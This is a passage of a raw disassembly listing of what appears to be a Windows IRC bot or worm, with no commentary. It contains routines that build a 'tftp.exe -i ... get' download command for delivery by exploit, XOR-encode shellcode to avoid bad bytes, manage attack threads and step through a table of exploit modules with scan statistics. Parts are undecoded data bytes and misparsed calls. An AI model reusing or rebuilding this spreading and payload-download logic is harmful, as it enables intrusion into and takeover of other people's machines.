xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B159: ; CODE XREF: sub_40B13C+17j push ebx push esi push edi push [ebp+arg_8] call sub_41B9C0 push [ebp+arg_C] mov esi, eax call sub_41B9C0 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43172C, eax lea eax, [edi+1] mov dword_43174D, eax lea eax, [edi+17h] mov dword_431745, eax pop eax push 74h sub eax, edi push offset dword_4316C8 push ebx mov dword_43175B, eax call sub_41CD20 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_41CD20 add esi, 74h push 5 push (offset aTftp_exeIGet+0Ch) lea eax, [esi+ebx] push eax call sub_41CD20 add esi, 5 push edi push [ebp+arg_C] lea eax, [esi+ebx] push eax call sub_41CD20 add esi, edi push 10h push (offset aTftp_exeIGet+11h) lea eax, [esi+ebx] push eax call sub_41CD20 add esp, 44h add esi, 10h push edi lea eax, [esi+ebx] push [ebp+arg_C] push eax call sub_41CD20 add esi, edi push 38h add esi, ebx push offset byte_431751 push esi call sub_41CD20 mov eax, [ebp+var_4] add esp, 18h pop edi pop esi pop ebx leave retn sub_40B13C endp ; =============== S U B R O U T I N E ======================================= sub_40B214 proc near ; CODE XREF: sub_40B22B+Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40B11C push eax call sub_40B298 add esp, 0Ch retn sub_40B214 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B22B proc near ; CODE XREF: sub_40DCF9+32p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_8] push edi mov edi, [ebp+arg_C] push edi push ebx call sub_40B214 cmp eax, [ebp+arg_4] pop ecx pop ecx ja short loc_40B24B cmp eax, 0FFFFh jbe short loc_40B24F loc_40B24B: ; CODE XREF: sub_40B22B+17j xor eax, eax jmp short loc_40B294 ; --------------------------------------------------------------------------- loc_40B24F: ; CODE XREF: sub_40B22B+1Ej push esi push edi push ebx call sub_40B11C add eax, 101h push eax call sub_41BEB5 add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_40B11C pop ecx pop ecx push eax push esi call sub_40B13C push eax push esi push [ebp+arg_4] push [ebp+arg_0] call sub_40B2B3 push esi mov edi, eax call sub_41BA91 add esp, 24h mov eax, edi pop esi loc_40B294: ; CODE XREF: sub_40B22B+22j pop edi pop ebx pop ebp retn sub_40B22B endp ; =============== S U B R O U T I N E ======================================= sub_40B298 proc near ; CODE XREF: sub_40B214+Ep ; sub_40B2B3+4Ap arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_40B2A1 inc ecx loc_40B2A1: ; CODE XREF: sub_40B298+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_40B298 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B2B3 proc near ; CODE XREF: sub_40B22B+56p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_C], 0Ah jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0Dh jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 5Ch jz short loc_40B2CF cmp byte ptr [ebp+arg_C], 0 jnz short loc_40B2D2 loc_40B2CF: ; CODE XREF: sub_40B2B3+8j ; sub_40B2B3+Ej ... inc [ebp+arg_C] loc_40B2D2: ; CODE XREF: sub_40B2B3+1Aj push esi mov esi, 0FFh cmp [ebp+arg_C], esi jbe short loc_40B2FA mov eax, [ebp+arg_C] shr eax, 8 cmp al, 0Ah jz short loc_40B2F3 cmp al, 0Dh jz short loc_40B2F3 cmp al, 5Ch jz short loc_40B2F3 test al, al jnz short loc_40B2FA loc_40B2F3: ; CODE XREF: sub_40B2B3+32j ; sub_40B2B3+36j ... add [ebp+arg_C], 100h loc_40B2FA: ; CODE XREF: sub_40B2B3+28j ; sub_40B2B3+3Ej push [ebp+arg_C] call sub_40B298 cmp eax, [ebp+arg_4] pop ecx mov [ebp+var_4], eax ja short loc_40B312 cmp eax, 0FFFFh jbe short loc_40B319 loc_40B312: ; CODE XREF: sub_40B2B3+56j xor eax, eax jmp loc_40B3B7 ; --------------------------------------------------------------------------- loc_40B319: ; CODE XREF: sub_40B2B3+5Dj mov ecx, [ebp+arg_C] push ebx mov bl, byte_4CBB28 xor edx, edx push edi mov edi, [ebp+arg_8] test ecx, ecx jbe short loc_40B349 loc_40B32D: ; CODE XREF: sub_40B2B3+94j mov al, [edx+edi] xor al, bl jz short loc_40B340 cmp al, 0Ah jz short loc_40B340 cmp al, 0Dh jz short loc_40B340 cmp al, 5Ch jnz short loc_40B344 loc_40B340: ; CODE XREF: sub_40B2B3+7Fj ; sub_40B2B3+83j ... inc bl xor edx, edx loc_40B344: ; CODE XREF: sub_40B2B3+8Bj inc edx cmp edx, ecx jb short loc_40B32D loc_40B349: ; CODE XREF: sub_40B2B3+78j cmp ecx, esi mov byte_4CBB28, bl ja short loc_40B375 push 15h push offset loc_4316B0 push [ebp+arg_0] mov byte_4316BD, cl mov byte_4316C1, bl call sub_41CD20 add esp, 0Ch push 15h jmp short loc_40B396 ; --------------------------------------------------------------------------- loc_40B375: ; CODE XREF: sub_40B2B3+9Ej push 17h push offset loc_431698 push [ebp+arg_0] mov word_4316A6, cx mov byte_4316AB, bl call sub_41CD20 add esp, 0Ch push 17h loc_40B396: ; CODE XREF: sub_40B2B3+C0j xor eax, eax pop ecx cmp [ebp+arg_C], eax jbe short loc_40B3B2 mov edx, [ebp+arg_0] lea esi, [ecx+edx] loc_40B3A4: ; CODE XREF: sub_40B2B3+FDj mov cl, [eax+edi] xor cl, bl mov [esi+eax], cl inc eax cmp eax, [ebp+arg_C] jb short loc_40B3A4 loc_40B3B2: ; CODE XREF: sub_40B2B3+E9j mov eax, [ebp+var_4] pop edi pop ebx loc_40B3B7: ; CODE XREF: sub_40B2B3+61j pop esi leave retn sub_40B2B3 endp ; =============== S U B R O U T I N E ======================================= sub_40B3BA proc near ; CODE XREF: ___:00401599p ; ___:004015D8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset dword_43E720 loc_40B3C2: ; CODE XREF: sub_40B3BA+18j cmp byte ptr [eax], 0 jz short loc_40B3D6 add eax, 234h inc edi cmp eax, offset dword_4CB720 jl short loc_40B3C2 jmp short loc_40B421 ; --------------------------------------------------------------------------- loc_40B3D6: ; CODE XREF: sub_40B3BA+Bj push esi mov esi, edi imul esi, 234h push 1FFh push [esp+0Ch+arg_0] lea eax, dword_43E720[esi] push eax call sub_41BFD0 mov eax, [esp+14h+arg_4] add esp, 0Ch mov dword_43E920[esi], eax and dword_43E924[esi], 0 mov eax, [esp+8+arg_8] and dword_43E928[esi], 0 mov dword_43E92C[esi], eax and byte_43E938[esi], 0 pop esi loc_40B421: ; CODE XREF: sub_40B3BA+1Aj mov eax, edi pop edi retn sub_40B3BA endp ; --------------------------------------------------------------------------- byte_40B425 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2946o dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh dd 0C4830000h, 0E8006A14h, 22D4B8Ch, 555E5F90h, 0EC81EC8Bh dd 200h, 6A5756h, 681075FFh, 43178Ch, 0FF0C75FFh, 0D2E80875h dd 83FFFFE3h, 0FF3314C4h, 43E720BEh, 3E8000h, 7D833C74h dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h dd 0C54C68FFh, 0E8500042h, 10D9Eh, 858D016Ah, 0FFFFFE00h dd 501075FFh, 0FF0C75FFh, 8AE80875h, 83FFFFE3h, 0C68124C4h dd 234h, 20FE8147h, 7C004CB7h, 0C95E5FB0h ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40B4F5 proc near ; CODE XREF: sub_401ACD+79AAp ; sub_40B583+12p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebx, ebx xor ebp, ebp cmp esi, ebx jle short loc_40B57D cmp esi, 400h jge short loc_40B57D imul esi, 234h push edi push ebx push dword_43E934[esi] lea edi, dword_43E934[esi] call near ptr 26906DBh nop cmp [edi], ebx jz short loc_40B52D push 1 pop ebp loc_40B52D: ; CODE XREF: sub_40B4F5+33j mov [edi], ebx lea edi, dword_43E928[esi] mov dword_43E920[esi], ebx mov dword_43E924[esi], ebx mov eax, [edi] cmp eax, ebx jbe short loc_40B54E push eax call sub_419F16 pop ecx loc_40B54E: ; CODE XREF: sub_40B4F5+50j mov [edi], ebx lea edi, dword_43E92C[esi] mov byte ptr dword_43E720[esi], bl mov byte_43E938[esi], bl push dword ptr [edi] call dword_4CBA7C lea esi, dword_43E930[esi] mov [edi], ebx push dword ptr [esi] call dword_4CBA7C mov [esi], ebx pop edi loc_40B57D: ; CODE XREF: sub_40B4F5+Dj ; sub_40B4F5+15j mov eax, ebp pop esi pop ebp pop ebx retn sub_40B4F5 endp ; =============== S U B R O U T I N E ======================================= sub_40B583 proc near ; CODE XREF: sub_40111D+18p ; ___:loc_4017D9p ... push ebx push esi push edi xor ebx, ebx xor edi, edi mov esi, offset dword_43E720 loc_40B58F: ; CODE XREF: sub_40B583+2Aj cmp byte ptr [esi], 0 jz short loc_40B5A0 push edi call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5A0 inc ebx loc_40B5A0: ; CODE XREF: sub_40B583+Fj ; sub_40B583+1Aj add esi, 234h inc edi cmp esi, offset dword_4CB720 jl short loc_40B58F pop edi mov eax, ebx pop esi pop ebx retn sub_40B583 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B5B5 proc near ; CODE XREF: sub_401ACD+41B2p ; sub_401ACD+4302p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_4] mov [ebp+var_4], ebx mov esi, offset dword_43E924 loc_40B5C9: ; CODE XREF: sub_40B5B5+43j mov eax, [esi-4] cmp eax, [ebp+arg_0] jnz short loc_40B5EB test edi, edi jle short loc_40B5DD cmp [esi], edi jz short loc_40B5DD cmp ebx, edi jnz short loc_40B5EB loc_40B5DD: ; CODE XREF: sub_40B5B5+1Ej ; sub_40B5B5+22j push ebx call sub_40B4F5 test eax, eax pop ecx jz short loc_40B5EB inc [ebp+var_4] loc_40B5EB: ; CODE XREF: sub_40B5B5+1Aj ; sub_40B5B5+26j ... add esi, 234h inc ebx cmp esi, offset dword_4CB924 jl short loc_40B5C9 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_40B5B5 endp ; =============== S U B R O U T I N E ======================================= sub_40B602 proc near ; CODE XREF: ___:00401630p ; sub_401ACD+95Ep ... arg_0 = dword ptr 4 xor eax, eax mov ecx, offset dword_43E920 loc_40B609: ; CODE XREF: sub_40B602+1Cj mov edx, [ecx] cmp edx, [esp+arg_0] jnz short loc_40B612 inc eax loc_40B612: ; CODE XREF: sub_40B602+Dj add ecx, 234h cmp ecx, offset dword_4CB920 jl short loc_40B609 retn sub_40B602 endp ; =============== S U B R O U T I N E ======================================= sub_40B621 proc near ; CODE XREF: sub_401ACD+23D9p arg_0 = dword ptr 4 xor eax, eax push esi xor edx, edx mov ecx, offset dword_43E920 loc_40B62B: ; CODE XREF: sub_40B621+1Fj mov esi, [ecx] cmp esi, [esp+4+arg_0] jz short loc_40B644 add ecx, 234h inc edx cmp ecx, offset dword_4CB920 jl short loc_40B62B pop esi retn ; --------------------------------------------------------------------------- loc_40B644: ; CODE XREF: sub_40B621+10j mov eax, edx pop esi retn sub_40B621 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B648 proc near ; CODE XREF: sub_401ACD+123Dp ; sub_401ACD+125Bp ... var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp sub esp, 200h xor eax, eax cmp [ebp+arg_1C], eax jz short loc_40B661 push [ebp+arg_1C] call sub_41C159 pop ecx loc_40B661: ; CODE XREF: sub_40B648+Ej push eax push [ebp+arg_18] call sub_40B5B5 pop ecx test eax, eax pop ecx jle short loc_40B68D push eax lea eax, [ebp+var_200] push [ebp+arg_14] push [ebp+arg_10] push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)" push eax call sub_41C266 add esp, 14h jmp short loc_40B6A7 ; --------------------------------------------------------------------------- loc_40B68D: ; CODE XREF: sub_40B648+26j push [ebp+arg_14] lea eax, [ebp+var_200] push [ebp+arg_10] push offset aSNoSThreadFoun ; "%s No %s thread found." push eax call sub_41C266 add esp, 10h loc_40B6A7: ; CODE XREF: sub_40B648+43j cmp [ebp+arg_C], 0 jnz short loc_40B6C7 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h loc_40B6C7: ; CODE XREF: sub_40B648+63j lea eax, [ebp+var_200] push eax call sub_415D38 pop ecx leave retn sub_40B648 endp ; =============== S U B R O U T I N E ======================================= sub_40B6D6 proc near ; CODE XREF: sub_4017ED+159p ; ___:0040BD0Bp ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx imul eax, 234h mov dword_43E934[eax], ecx mov dword_43E920[eax], ecx mov dword_43E924[eax], ecx mov dword_43E928[eax], ecx mov dword_43E92C[eax], ecx mov dword_43E930[eax], ecx mov byte ptr dword_43E720[eax], cl mov byte_43E938[eax], cl retn sub_40B6D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B713 proc near ; CODE XREF: sub_401ACD+7C2Bp ; sub_40B841+6Bp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] push 1 pop eax loc_40B71D: ; CODE XREF: sub_40B713+68j mov cl, [esi] test cl, cl jz short loc_40B77D cmp eax, 1 jnz short loc_40B77D mov edx, [ebp+arg_4] mov dl, [edx] test dl, dl jz short loc_40B77D cmp cl, 2Ah jz short loc_40B764 cmp cl, 3Fh jz short loc_40B747 cmp cl, 5Bh jz short loc_40B74C xor eax, eax cmp cl, dl setz al loc_40B747: ; CODE XREF: sub_40B713+26j inc [ebp+arg_4] jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B74C: ; CODE XREF: sub_40B713+2Bj lea eax, [ebp+arg_4] inc esi push eax lea eax, [ebp+arg_0] push eax mov [ebp+arg_0], esi call sub_40B7A9 mov esi, [ebp+arg_0] pop ecx pop ecx jmp short loc_40B777 ; --------------------------------------------------------------------------- loc_40B764: ; CODE XREF: sub_40B713+21j lea eax, [ebp+arg_4] push eax lea eax, [ebp+arg_0] push eax call sub_40B841 mov esi, [ebp+arg_0] pop ecx pop ecx dec esi loc_40B777: ; CODE XREF: sub_40B713+37j ; sub_40B713+4Fj inc esi mov [ebp+arg_0], esi jmp short loc_40B71D ; --------------------------------------------------------------------------- loc_40B77D: ; CODE XREF: sub_40B713+Ej ; sub_40B713+13j ... cmp byte ptr [esi], 2Ah jnz short loc_40B78D cmp eax, 1 jnz short loc_40B7A4 inc esi mov [ebp+arg_0], esi jmp short loc_40B77D ; --------------------------------------------------------------------------- loc_40B78D: ; CODE XREF: sub_40B713+6Dj cmp eax, 1 jnz short loc_40B7A4 mov eax, [ebp+arg_4] cmp byte ptr [eax], 0 jnz short loc_40B7A4 cmp byte ptr [esi], 0 jnz short loc_40B7A4 push 1 pop eax jmp short loc_40B7A6 ; --------------------------------------------------------------------------- loc_40B7A4: ; CODE XREF: sub_40B713+72j ; sub_40B713+7Dj ... xor eax, eax loc_40B7A6: ; CODE XREF: sub_40B713+8Fj pop esi pop ebp retn sub_40B713 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B7A9 proc near ; CODE XREF: sub_40B713+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov edx, [ebp+arg_0] push edi xor edi, edi push 1 mov ecx, [edx] and [ebp+var_8], edi pop eax cmp byte ptr [ecx], 21h mov [ebp+var_4], eax jnz short loc_40B7CA inc ecx mov [ebp+var_8], eax mov [edx], ecx loc_40B7CA: ; CODE XREF: sub_40B7A9+19j push ebx push esi loc_40B7CC: ; CODE XREF: sub_40B7A9+7Bj mov ecx, [edx] mov bl, [ecx] cmp bl, 5Dh jnz short loc_40B7DA cmp [ebp+var_4], eax jnz short loc_40B826 loc_40B7DA: ; CODE XREF: sub_40B7A9+2Aj test edi, edi jnz short loc_40B81B cmp bl, 2Dh jnz short loc_40B80F mov al, [ecx+1] lea esi, [ecx+1] mov cl, [ecx-1] cmp cl, al jge short loc_40B80F cmp al, 5Dh jz short loc_40B80F cmp [ebp+var_4], edi jnz short loc_40B80F mov ebx, [ebp+arg_4] mov ebx, [ebx] mov bl, [ebx] cmp bl, cl jl short loc_40B81B cmp bl, al jg short loc_40B81B push 1 mov [edx], esi pop edi jmp short loc_40B81B ; --------------------------------------------------------------------------- loc_40B80F: ; CODE XREF: sub_40B7A9+38j ; sub_40B7A9+45j ... mov eax, [ebp+arg_4] mov eax, [eax] cmp bl, [eax] jnz short loc_40B81B push 1 pop edi loc_40B81B: ; CODE XREF: sub_40B7A9+33j ; sub_40B7A9+59j ... inc dword ptr [edx] and [ebp+var_4], 0 push 1 pop eax jmp short loc_40B7CC ; --------------------------------------------------------------------------- loc_40B826: ; CODE XREF: sub_40B7A9+2Fj cmp [ebp+var_8], eax pop esi pop ebx jnz short loc_40B833 mov ecx, eax sub ecx, edi mov edi, ecx loc_40B833: ; CODE XREF: sub_40B7A9+82j cmp edi, eax jnz short loc_40B83C mov eax, [ebp+arg_4] inc dword ptr [eax] loc_40B83C: ; CODE XREF: sub_40B7A9+8Cj mov eax, edi pop edi leave retn sub_40B7A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B841 proc near ; CODE XREF: sub_40B713+59p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi mov esi, [ebp+arg_0] push edi mov edi, [ebp+arg_4] mov [ebp+var_4], 1 inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] xor ebx, ebx loc_40B85D: ; CODE XREF: sub_40B841+3Aj cmp [eax], bl jz short loc_40B87D mov cl, [ecx] cmp cl, 3Fh jz short loc_40B872 cmp cl, 2Ah jnz short loc_40B87D cmp cl, 3Fh jnz short loc_40B875 loc_40B872: ; CODE XREF: sub_40B841+25j inc eax mov [edi], eax loc_40B875: ; CODE XREF: sub_40B841+2Fj inc dword ptr [esi] mov ecx, [esi] mov eax, [edi] jmp short loc_40B85D ; --------------------------------------------------------------------------- loc_40B87D: ; CODE XREF: sub_40B841+1Ej ; sub_40B841+2Aj ... mov eax, [esi] cmp byte ptr [eax], 2Ah jnz short loc_40B888 inc dword ptr [esi] jmp short loc_40B87D ; --------------------------------------------------------------------------- loc_40B888: ; CODE XREF: sub_40B841+41j mov eax, [edi] mov cl, [eax] cmp cl, bl jnz short loc_40B8A9 mov edx, [esi] cmp [edx], bl jz short loc_40B89A xor eax, eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B89A: ; CODE XREF: sub_40B841+53j cmp cl, bl jnz short loc_40B8A9 mov ecx, [esi] cmp [ecx], bl jnz short loc_40B8A9 push 1 pop eax jmp short loc_40B909 ; --------------------------------------------------------------------------- loc_40B8A9: ; CODE XREF: sub_40B841+4Dj ; sub_40B841+5Bj ... push eax push dword ptr [esi] call sub_40B713 pop ecx test eax, eax pop ecx jnz short loc_40B8F3 loc_40B8B7: ; CODE XREF: sub_40B841+B0j inc dword ptr [edi] mov eax, [edi] loc_40B8BB: ; CODE XREF: sub_40B841+90j mov ecx, [esi] mov dl, [eax] mov cl, [ecx] cmp cl, dl jz short loc_40B8D3 cmp cl, 5Bh jz short loc_40B8D3 cmp dl, bl jz short loc_40B8D3 inc eax mov [edi], eax jmp short loc_40B8BB ; --------------------------------------------------------------------------- loc_40B8D3: ; CODE XREF: sub_40B841+82j ; sub_40B841+87j ... mov eax, [edi] cmp [eax], bl jz short loc_40B8EA push eax push dword ptr [esi] call sub_40B713 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40B8EF ; --------------------------------------------------------------------------- loc_40B8EA: ; CODE XREF: sub_40B841+96j mov [ebp+var_4], ebx xor eax, eax loc_40B8EF: ; CODE XREF: sub_40B841+A7j cmp eax, ebx jnz short loc_40B8B7 loc_40B8F3: ; CODE XREF: sub_40B841+74j mov eax, [edi] cmp [eax], bl jnz short loc_40B906 mov eax, [esi] cmp [eax], bl jnz short loc_40B906 mov [ebp+var_4], 1 loc_40B906: ; CODE XREF: sub_40B841+B6j ; sub_40B841+BCj mov eax, [ebp+var_4] loc_40B909: ; CODE XREF: sub_40B841+57j ; sub_40B841+66j pop edi pop esi pop ebx leave retn sub_40B841 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B90E proc near ; CODE XREF: sub_401ACD+2AB2p var_400 = byte ptr -400h var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 400h push ebx push edi lea eax, [ebp+var_200] push offset unk_431BA4 push eax xor ebx, ebx call sub_41C266 cmp dword_431808, ebx pop ecx pop ecx mov edi, 200h jz short loc_40B980 push esi mov esi, offset dword_431810 loc_40B941: ; CODE XREF: sub_40B90E+6Fj mov eax, [esi] test eax, eax jbe short loc_40B976 add ebx, eax push eax lea eax, [esi-26h] push eax lea eax, [ebp+var_400] push offset dword_431B98 push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 add esp, 1Ch loc_40B976: ; CODE XREF: sub_40B90E+37j add esi, 40h cmp dword ptr [esi-8], 0 jnz short loc_40B941 pop esi loc_40B980: ; CODE XREF: sub_40B90E+2Bj push dword_4CB724 call sub_41ADD8 pop ecx push eax push ebx lea eax, [ebp+var_400] push offset aTotalDInS_ ; " Total: %d in %s." push eax call sub_41C266 lea eax, [ebp+var_400] push edi push eax lea eax, [ebp+var_200] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 34h pop edi pop ebx leave retn sub_40B90E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B9DD proc near ; CODE XREF: sub_401ACD+2A9Cp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h mov eax, dword_4CE4F0 mov ecx, dword_4CE4EC push esi push dword_4CB724 lea esi, [ecx+eax] call sub_41ADD8 pop ecx push eax push esi push dword_4CE4F0 lea eax, [ebp+var_200] push dword_4CE4EC push offset unk_431BC4 push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 30h pop esi leave retn sub_40B9DD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA49 proc near ; CODE XREF: sub_401ACD+2A86p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push dword_4CB724 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_200] push dword_4CE728 push offset unk_431C0C push eax call sub_41C266 push 0 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_200] push eax call sub_415D38 add esp, 28h leave retn sub_40BA49 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BA9E proc near ; CODE XREF: sub_401ACD+2A70p var_1000 = byte ptr -1000h var_800 = byte ptr -800h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1000h call sub_41C500 push edi lea eax, [ebp+var_800] push offset dword_431C58 push eax call sub_41C266 cmp dword_431808, 0 pop ecx pop ecx mov edi, 800h jz short loc_40BB0A push esi mov esi, offset aSymantec ; "Symantec" loc_40BAD3: ; CODE XREF: sub_40BA9E+69j lea eax, [esi-0Ah] push eax push esi lea eax, [ebp+var_1000] push offset dword_431C48 push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 add esi, 40h add esp, 1Ch cmp dword ptr [esi+1Eh], 0 jnz short loc_40BAD3 pop esi loc_40BB0A: ; CODE XREF: sub_40BA9E+2Dj push dword_4CB724 call sub_41ADD8 pop ecx push eax lea eax, [ebp+var_1000] push offset aScanTimeS_ ; " Scan Time: %s." push eax call sub_41C266 lea eax, [ebp+var_1000] push edi push eax lea eax, [ebp+var_800] push eax call sub_41CBC0 push 0 lea eax, [ebp+var_800] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 lea eax, [ebp+var_800] push eax call sub_415D38 add esp, 30h pop edi leave retn sub_40BA9E endp ; --------------------------------------------------------------------------- byte_40BB65 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+309Ao ; --------------------------------------------------------------------------- sub esp, 3F0h mov eax, [ebp+8] push ebx push esi push edi push 4Bh mov esi, eax pop ecx lea edi, [ebp-134h] rep movsd mov dword ptr [eax+128h], 1 lea eax, [ebp-134h] push eax call dword_4CBA24 xor edi, edi mov [ebp-8], eax cmp dword_431808, edi mov [ebp-4], edi mov [ebp+8], edi jz loc_40BCC7 mov ebx, offset dword_431808 mov eax, ebx loc_40BBB6: ; CODE XREF: ___:0040BCC1j push dword ptr [ebp-1Ch] push dword ptr [eax] push dword ptr [ebp-8] call sub_40C34B add esp, 0Ch cmp eax, 1 jnz loc_40BCB7 push dword ptr [ebx] lea esi, [ebx-28h] lea eax, [ebp-134h] push eax lea eax, [esi+0Ah] push eax lea eax, [ebp-3F0h] push offset unk_431CA8 push eax call sub_41C266 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409869 lea eax, [ebp-3F0h] push eax call sub_415D38 add esp, 2Ch lea eax, [ebp-134h] push eax lea eax, [ebp-1ECh] push eax call sub_41C266 pop ecx lea eax, [ebp-15Ch] pop ecx push esi push eax call sub_41C266 cmp byte ptr [ebp-0A4h], 0 pop ecx pop ecx lea eax, [ebp-0A4h] jnz short loc_40BC52 lea eax, [ebp-124h] loc_40BC52: ; CODE XREF: ___:0040BC4Aj push eax lea eax, [ebp-1DCh] push eax call sub_41C266 mov eax, [ebp-24h] pop ecx mov [ebp-1F0h], eax mov eax, [ebp-14h] mov [ebp-140h], eax mov eax, [ebp-10h] pop ecx mov [ebp-13Ch], eax mov eax, [ebx] sub esp, 0BCh mov [ebp-150h], eax mov eax, [ebp-18h] push 2Fh mov [ebp-14Ch], eax mov eax, [ebp+8] pop ecx lea esi, [ebp-1F0h] mov edi, esp mov [ebp-148h], eax rep movsd call dword ptr [ebx+4] add esp, 0BCh inc dword ptr [ebp-4] xor edi, edi loc_40BCB7: ; CODE XREF: ___:0040BBC9j inc dword ptr [ebp+8] add ebx, 40h mov eax, ebx cmp [ebx], edi jnz loc_40BBB6 loc_40BCC7: ; CODE XREF: ___:0040BBA9j push dword ptr [ebp-4] lea eax, [ebp-134h] push eax lea eax, [ebp-3F0h] push offset unk_431C74 push eax call sub_41C266 push edi lea eax, [ebp-3F0h] push dword ptr [ebp-14h] push eax lea eax, [ebp-124h] push eax push dword ptr [ebp-24h] call sub_409869 lea eax, [ebp-3F0h] push eax call sub_415D38 push dword ptr [ebp-18h] call sub_40B6D6 add esp, 2Ch push edi nop ; --------------------------------------------------------------------------- db 0E8h, 0E6h, 42h db 2Dh, 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40BD1A proc near ; CODE XREF: sub_401ACD+23F4p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push 0Bh call sub_40B602 test eax, eax pop ecx jle short loc_40BD56 mov eax, [ebp+arg_C] push dword_4CBB30[eax*8] call dword_4CBA70 push eax lea eax, [ebp+var_200] push offset unk_431CF8 push eax call sub_41C266 add esp, 0Ch jmp short loc_40BD69 ; --------------------------------------------------------------------------- loc_40BD56: ; CODE XREF: sub_40BD1A+13j lea eax, [ebp+var_200] push offset unk_431CD8 push eax call sub_41C266 pop ecx pop ecx loc_40BD69: ; CODE XREF: sub_40BD1A+3Aj push 0 lea eax, [ebp+var_200] push 